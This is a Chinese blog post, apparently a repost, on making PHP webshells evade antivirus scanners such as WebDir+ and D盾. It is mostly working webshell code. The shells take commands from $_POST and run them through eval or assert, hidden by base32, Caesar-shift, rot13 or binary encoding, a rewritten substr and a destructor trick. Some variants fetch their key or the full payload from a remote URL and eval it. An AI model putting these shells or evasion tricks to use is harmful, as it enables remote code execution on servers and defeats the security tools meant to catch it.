一些webshell免杀的技巧

一些webshell免杀的技巧

本文转自pureqh 并作补充

0x00:前言

由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束。

0x01:自定义加密Bypass

部分杀软会直接将一些编码函数如Base64、编码后的关键字或组合函数加入了规则 比如某dir+

image

比如这个 都能被检测出是shell

所以为了防止这种的规则 自定义加密显然是最优解

自定义加密可选性多了 只要能把加密后的字符还原回去就行 比如base32 base58 这类的base编码全家桶 或者自定义ascii移位 甚至是对称加密算法等都是可以绕过这类规则检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
$this->LRXV = @SYXJ($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}
new KUYE();
function MNWK($QSFX){
$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
$NLHB = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
$v <<= 8;
$v += ord($QSFX[$i]);
$vbits += 8;
while ($vbits >= 5) {
$vbits -= 5;
$NLHB .= $BASE32_ALPHABET[$v >> $vbits];
$v &= ((1 << $vbits) - 1);}}
if ($vbits > 0){
$v <<= (5 - $vbits);
$NLHB .= $BASE32_ALPHABET[$v];}
return $NLHB;}
function SYXJ($QSFX){
$NLHB = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
$v <<= 5;
if ($QSFX[$i] >= 'a' && $QSFX[$i] <= 'z'){
$v += (ord($QSFX[$i]) - 97);
} elseif ($QSFX[$i] >= '2' && $QSFX[$i] <= '7') {
$v += (24 + $QSFX[$i]);
} else {
exit(1);
}
$vbits += 5;
while ($vbits >= 8){
$vbits -= 8;
$NLHB .= chr($v >> $vbits);
$v &= ((1 << $vbits) - 1);}}
return $NLHB;}
?>

image

  • ascii码移位payload(凯撒加密)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class FKPC{
function __construct(){
$this->TQYV = "bs^i%!\MLPQXwbolZ&8";
$this->WZDM = @HHGJ($this->TQYV);
@eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/");
}}
new FKPC();
function HHGJ($UyGv) {
$svfe = [];
$mxAS = '';
$f = $UyGv;
for ($i=0;$i<strlen($f);$i++)
{
$svfe[] = chr((ord($f[$i])+3));
}
$mxAS = implode($svfe);
return $mxAS ;
}
?>

image

居然没过webdir+

那如何解决呢 我们后面再说 当然应付D盾还是绰绰有余了

image

Rot13加密payload

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = 'riny($_CBFG[mreb]);';
$this->LRXV = @str_rot13($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}
new KUYE();

?>

二进制转化payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = '1100101 1110110 1100001 1101100 101000 100100 1011111 1010000 1001111 1010011 1010100 1011011 1111010 1100101 1110010 1101111 1011101 101001 111011';
$this->LRXV = @BinToStr($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}
new KUYE();
function BinToStr($str){
$arr = explode(' ', $str);
foreach($arr as &$v){
$v = pack("H".strlen(base_convert($v, 2, 16)), base_convert($v, 2, 16));
}

return join('', $arr);
}
?>

image

这里就不列举了 只要方法正确 绕过杀软是很简单的

0x02:通过http获得关键参数

上面那个凯撒密码不是被webdir+杀了吗 我们在这里将他绕过

众所周知凯撒密码需要设置往前或往后移几位ascii 这个参数可以设置为解密方法的输入参数 经过测试 此参数在源码中会被沙盒跑出了 因此不能过百度杀毒 ,那么 我不写本地不就行了 我直接起一个http服务访问文本获得参数值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class FKPC{
function __construct(){
$url = "http://xxxxx:8080/1.txt";
$fp = fopen($url, 'r');
stream_get_meta_data($fp);
while (!feof($fp)) {
$body.= fgets($fp, 1024);
}
$this->x = $body;
$this->TQYV = "bs^i%!\MLPQXwbolZ&8";
$this->WZDM = @HHGJ($this->TQYV,$this->x);
@eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/");
}}
new FKPC();

function HHGJ($UyGv,$x) {
$svfe = [];
$mxAS = '';
$f = $UyGv;
for ($i=0;$i<strlen($f);$i++)
{
$svfe[] = chr((ord($f[$i])+$x));
}
$mxAS = implode($svfe);
return $mxAS ;
}
?>

image

当然肯定能用

image

但是 这转了一圈简直不低碳啊 我不能直接http获取payload吗 …

简化代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class KUYE{
public $a = 'yshasaui';
public $b = '';
function __construct(){
$url = "http://xxx/1.txt";
$fp = fopen($url, 'r');
stream_get_meta_data($fp);
while (!feof($fp)) {
$body.= fgets($fp, 1024);
}
$this->b = $body;
@eval("/*GnSpe=121u*/".$this->b."/*Gn212Spe=u*/");
}}
new KUYE();
?>

image

image

0x03:重写函数Bypass

众所周知 正则类杀软最喜欢直接把危险函数加入规则 那么 它杀的是函数名 还是逻辑呢?

试一试就知道了

我们的样本如下:

1
2
3
4
5
6
7
<?php

$a = substr("assertxx",0,6);

$a($_POST['x']);

?>

这是个使用substr函数切割关键字的小马

直接扔到webdir+杀

image

毫无疑问的被杀了

那么 我们重写substr函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function mysubstr($string, $start = 0, $length = null) {
$result = '';
$strLength = strlen($string);
if ($length === null) {
$length = $strLength;
}
$length = (int) $length;
$start = $start < 0 ? ($strLength + $start) : ($start);
$end = $length < 0 ? ($strLength + $length) : $start + $length;
if ($start > $strLength || ($end - $start) === 0) {
return $result;
}
for (; $start < $end; $start ++) {
$result .= $string[$start];
}
return $result;
}

然后把函数替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$b = 'assert(xyz@';
$c = mysubstr($b,0,6);
$c($_POST['zero']);
function mysubstr($string, $start = 0, $length = null) {
$result = '';
$strLength = strlen($string);
if ($length === null) {
$length = $strLength;
}
$length = (int) $length;
$start = $start < 0 ? ($strLength + $start) : ($start);
$end = $length < 0 ? ($strLength + $length) : $start + $length;
if ($start > $strLength || ($end - $start) === 0) {
return $result;
}
for (; $start < $end; $start ++) {
$result .= $string[$start];
}
return $result;
}
?>

再拿去杀

image

结论很清楚了

再来D盾杀一下

image

不错 报2级了 这就是沙盒型查杀和正则类查杀的明显区别 怎么过呢 用构造方法即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class pure
{
public $a = '';
function __destruct(){

assert("$this->a");
}
}
$b = new pure;
$b->a = $_POST['zero'];
function mysubstr($string, $start = 0, $length = null) {
$result = '';
$strLength = strlen($string);
if ($length === null) {
$length = $strLength;
}
$length = (int) $length;
$start = $start < 0 ? ($strLength + $start) : ($start);
$end = $length < 0 ? ($strLength + $length) : $start + $length;
if ($start > $strLength || ($end - $start) === 0) {
return $result;
}
for (; $start < $end; $start ++) {
$result .= $string[$start];
}
return $result;
}
?>

image

看到这里大家可能也很奇怪 这里都没用到mysubstr函数 放上去不是多此一举吗

不好意思 恰恰不是 我们可以去掉这个函数 用D盾杀一下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class pure
{
public $a = '';
function __destruct(){

assert("$this->a");
}
}
$b = new pure;
$b->a = $_POST['zero'];
?>

image

怎么样 是不是很有趣

这里放这堆代码并不是为了真的用它 而是为了过D盾的特征查杀 所以放什么函数是无所谓的。

比如这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

class pure
{
public $a = '';
function __destruct(){

assert("$this->a");
}
}
$b = new pure;
$b->a = $_POST['zero'];
function mysubstr($a,$b) {
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
echo "?sasasjajksjka";
}
?>

image

这里只介绍了重写substr函数 那么其他的函数可以吗 当然可以

0x04:写在后面

只要思想不滑坡 方法总比困难多